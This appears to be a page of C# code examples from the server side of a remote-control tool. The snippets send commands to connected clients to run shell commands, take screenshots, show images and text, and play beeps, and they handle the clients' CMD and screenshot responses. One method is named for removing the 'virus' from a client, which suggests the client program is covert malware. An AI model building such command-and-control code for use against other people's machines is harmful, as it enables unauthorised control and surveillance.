Exemple #1
0
        /// <summary>
        /// Opens a textbox on the client with the provided text
        /// </summary>
        private void SendDisplayText()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "TextBox", Handler = handler, Value = BroadcastMessageText
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
Exemple #2
0
        public void CloseCMD()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "StopCMD", Handler = handler
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
Exemple #3
0
        /// <summary>
        /// Sends the beep command to the client
        /// </summary>
        public void SendBeep()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "PlayBeep", Handler = handler, Value = "800,800"
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
Exemple #4
0
        /// <summary>
        /// Sends the screenshot command to the client
        /// </summary>
        private void SendMakeScreenshot()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}"
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
Exemple #5
0
        public void SendCMDToClient()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "ExecuteCMD", Handler = handler, Value = CommandText
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
            CommandText = "";
        }
        public void TestMethod1()
        {
            string testText = "adasdsada\0\0\0\0\0\0\0\0";

            TransferCommandObject t = new TransferCommandObject {
                Command = "Login", Value = testText
            };


            var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t));

            Assert.AreEqual(t.Value, t2.Value);
        }
Exemple #7
0
        /// <summary>
        /// Function that sends an image to the client, displays the image and then presses f11 on the client.
        /// </summary>
        private void SendDisplayImage()
        {
            OpenFileDialog open = new OpenFileDialog();

            open.Filter      = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;";
            open.Multiselect = false;
            open.Title       = "Pick an image to send to the client";
            if (open.ShowDialog() == true)
            {
                byte[] bytes = File.ReadAllBytes(open.FileName);

                string base64 = Convert.ToBase64String(bytes);
                TransferCommandObject returnObject = new TransferCommandObject {
                    Command = "ShowImage", Handler = handler, Value = base64
                };
                _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
            }
        }
        /// <summary>
        /// Called when a new message was received on any client socket.
        /// </summary>
        /// <param name="c"></param>
        /// <param name="model"></param>
        /// <param name="type"></param>
        private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type)
        {
            BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray);

            switch (type)
            {
            case Server.DataByteType.Response:
                if (model.Command == "CMDResponse")
                {
                    c.AddToCMDBuffer(model.Value);
                }
                else if (model.Command == "ScreenshotResponse")
                {
                    ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value);
                    c.SetScreenshot(screenshotObject);
                }
                else if (model.Command == "ScreenList")
                {
                    List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value);
                    if (screenList != null)
                    {
                        c.SetScreenData(screenList);
                    }
                }
                break;

            case Server.DataByteType.Command:
                if (model.Command == "Debug")
                {
                    TransferCommandObject returnObject = new TransferCommandObject {
                        Command = "PlayBeep", Handler = "Audio", Value = "200,300"
                    };
                    Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject));
                }
                break;

            case Server.DataByteType.Data:
                c.SetDataItem(model.Command, model.Value);
                NotifyPropertyChanged("SelectedClient.storedData");
                NotifyPropertyChanged("CurrentClientName");
                break;
            }
        }
Exemple #9
0
        /// <summary>
        /// Function that sends a request to the client for removing the client application from the computer.
        /// </summary>
        private void RemoveVirusFromClient()
        {
            TransferCommandObject removeVirusTransferObject = new TransferCommandObject {
                Command = "DeleteTask", Handler = "Task"
            };
            var socket = ServerViewModel.Server.GetSocketByClient(this);

            ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject));
        }